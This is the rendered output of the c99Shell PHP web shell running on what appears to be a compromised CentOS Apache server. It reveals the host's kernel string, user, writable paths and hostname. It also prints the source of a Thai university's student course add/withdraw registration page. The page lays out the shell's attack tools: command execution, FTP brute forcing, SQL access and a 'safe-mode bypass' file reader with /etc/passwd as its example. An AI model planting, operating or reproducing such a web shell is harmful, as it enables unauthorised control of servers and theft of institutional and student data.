!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/application/views/eregis/   drwxr-xr-x
Free 51.01 GB of 127.8 GB (39.92%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     v_showAddWithdraw.php (6.76 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
$row_std 
= isset($qu_std) ? $qu_std->row() : NULL;
?>
<table width="100%">
    <tr>
        <td>
            <?php echo form_open($this->config->item("rg_folder")."regis/showAddWithdraw", array("name" => "myform""id" => "myform"));?>
            <table width="100%">                
                <tr>
                    <td><font size="2"><b>รหัสนักศึกษา</b></font>
                    <input type="text" name="stdCode" id="stdCode" value="<?php echo getval('stdCode'$row_std);?>" size="15" maxlength="15" class="required-int" />
                    <input type="submit" name="btnSearch" id="btnSearch" value="ค้นหา" /></td>
                </tr>
                <tr>
                    <td height="22"></td>
                </tr>
<?php
                
if(isset($flg)) {
                    echo 
$flg;
                }
                if (isset(
$stdCode)) {
                    if (
$stdCode) {
?>
                <tr>
                    <td><table class='szone'>
                        <tr bgcolor="<?php echo $tr_color_even;?>">
                            <td class='coltd_szone'>รหัสนักศึกษา</td>
                            <td><?php echo getval('stdCode'$row_std);?>
                            <input type="hidden" name="stdId" id="stdId" value="<?php echo getval('stdId'$row_std);?>" /></td>
                            <td class='coltd_szone'>ชื่อ-นามสกุล</td>
                            <td><?php echo getval('prefixName'$row_std).getval('stdName'$row_std).' '.getval('stdSurname'$row_std);?></td>
                        </tr>
                        <tr bgcolor="<?php echo $tr_color_even;?>">
                            <td class='coltd_szone'>หลักสูตร</td>
                            <td><?php echo getval('curName'$row_std);?>
                            <input type="hidden" name="curId" id="curId" value="<?php echo getval('curId'$row_std);?>" /></td>
                            <td class='coltd_szone'>ชั้นปี</td>
                            <td><?php echo getval('syCode'$row_std);?>
                            <input type="hidden" name="syId" id="syId" value="<?php echo getval('syId'$row_std);?>" /></td>
                        </tr>
                        <tr bgcolor="<?php echo $tr_color_even;?>">
                            <td class='coltd_szone'>ปีการศึกษา</td>
                            <td><?php echo $acY;?>
                            <input type="hidden" name="acY" id="acY"value="<?php echo $acY;?>" /></td>
                            <td class='coltd_szone'>ภาคการศึกษา</td>
                            <td><?php echo $tmId;?>
                            <input type="hidden" name="tmId" id="tmId" value="<?php echo $tmId;?>" /></td>
                        </tr>
                    </table></td>
                </tr>
                <tr>
                    <td height="22"></td>
                </tr>
                <tr>
                    <td><table class="headCol">
                        <tr bgcolor="<?php echo $this->config->item("rg_table_color");?>">
                            <th>รหัสรายวิชา</th>
                            <th>ชื่อรายวิชา</th>
                            <th>หน่วยกิต</th>
                            <th>กลุ่ม</th>
                            <th class="deleteCol">ลบ</th>
                        </tr>
<?php
                        $i 
0;
                        foreach (
$rs_rd->result() as $row_rd) {
                            echo 
"<tr valign='top' onmouseover=\"bgColor='".$tr_color_even."'\" onmouseout=\"bgColor='".$this->config->item("rg_mouseout")."'\">";
?>
                            <td class='indent'><?php echo $row_rd->crsCode;?></td>
                            <td class='indent'><?php echo explodeSquare($row_rd->crsName);?></td>
                            <td align="center"><?php echo $row_rd->crsUnit;?></td>
                            <td align="center"><?php echo $row_rd->coSection;?></td>
                            <td align="center">
<?php
                            
                            
if (($maxAcY == $acY) && ($maxTmId == $tmId)) {
?>
                            <span onClick="confirmDel2(
                            {stdId:<?php echo $row_rd->rdStdId;?>,
                             stdCode:<?php echo $row_std->stdCode;?>,
                             acY:<?php echo $row_rd->rdAcY;?>,
                             tmId:<?php echo $row_rd->rdTmId;?>,
                             seq:<?php echo $row_rd->rdSeq;?>,
                             coId:<?php echo $row_rd->rdCoId;?>,
                             rgStatus:'A'}, 'hidform','<?php echo site_url($this->config->item('rg_folder').'regis/rd_delete');?>')" /><img src="<?php echo base_url().$this->config->item("rg_delete");?>" align="absmiddle" border="0" width="16" height="19" class="hand"/></span>
<?php
                            
} else {
                                echo 
'-';
                            }
?>
                            </td>
                        </tr>
<?php
                            $i
++;
                        }    
// end foreach

                        
if (isset($kssFlag)) {
?>
                        <tr>
                            <td colspan="6" align="center"><span class='error'><?php echo $kssFlag;?></span></td>
                        </tr>
<?php
                        
} else {
                            if ((
$maxAcY == $acY) && ($maxTmId == $tmId)) {
?>
                        <tr>
                            <td height="22"><input type="text" name="crsCode" size="7" class="input1" readonly></td>
                            <td><input type="text" name="crsName" size="30" class="input1" readonly>
                            <img src="<?php echo base_url().$this->config->item("rg_search");?>" class="hand" onClick="sendPost('hidform', {'stdId':<?php echo $row_std->stdId;?>,'curId':<?php echo $row_std->stdCurId;?>,'syId':<?php echo $row_std->stdSyId;?>,'acY':<?php echo $acY;?>,'tmId':<?php echo $tmId;?>}, '<?php echo site_url($this->config->item("rg_folder").'popup/coAndRd_popup');?>', {})" />
                            <span class='error'>*</span>
                            <input type="hidden" name="rdCoId" id="rdCoId" />
                            <input type="hidden" name="rdCreditAttempt" id="rdCreditAttempt" />
                            <input type="hidden" name="rdCredit1" id="rdCredit1" />
                            <input type="hidden" name="rdCredit2" id="rdCredit2" />
                            <input type="hidden" name="rdCdId1" id="rdCdId1" />
                            <input type="hidden" name="rdCdId2" id="rdCdId2" /></td>
                            <td align="center"><input type="text" name="crsUnit" id="crsUnit" size="12" class="input1" readonly></td>
                            <td align="center"><input type="text" name="rdSection" id="rdSection" size="1" class="input1" readonly></td>
                            <td><input type="text" name="timeTable" size="13" class="input1" readonly></td>
                        </tr>
<?php
                            
}
                        }
?>
                        <tr bgcolor="<?php echo $this->config->item("rg_head_tb_headCol");?>">
                            <td height="22" colspan="2" align="right"><span class='fontT'><b>รวมหน่วยกิต</b></span></td>
                            <td align="center"><?php echo number_format($sumCrAt);?></td>
                            <td colspan="3"></td>
                        </tr>
                    </table></td>
                </tr>
<?php
                        
if (!isset($kssFlag) && ($maxAcY == $acY) && ($maxTmId == $tmId)) {
?>
                <tr>
                    <td align="center"><input type="submit" name="add" id="add" value="บันทึก" onClick="sendPost('myform', {'rgStatus':'A'}, '<?php echo site_url($this->config->item("rg_folder").'regis/rd_insert');?>')" />
                    <input type="reset" name="clear" id="clear" value="เคลียร์ข้อมูล" /></td>
                </tr>
<?php
                        
}
                    } else {
                        if (!isset(
$err_msg)) {
?>
                <tr>
                    <td align="center"><?php echo getval('prefixName'$row_std).getval('stdName'$row_std).' '.getval('stdSurname'$row_std).' '.getval('sstName'$row_std);?></td>
                </tr>
<?php
                        
} else {
?>
                <tr>
                    <td align="center"><?php echo $err_msg;?></td>
                </tr>
<?php
                        
}
                    }    
// end SearchByStCodeAndStudying
                
}
?>                
            </table><?php echo form_close();?></td>
    </tr>
    <tr>
        <td><span class="error"><b>หมายเหตุ</b> : ใช้งานเมนูนี้กรณีที่นักศึกษายื่นใบเพิ่ม/ถอนในช่วงเวลาเพิ่ม-ถอน</span></td>
    </tr>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0119 ]--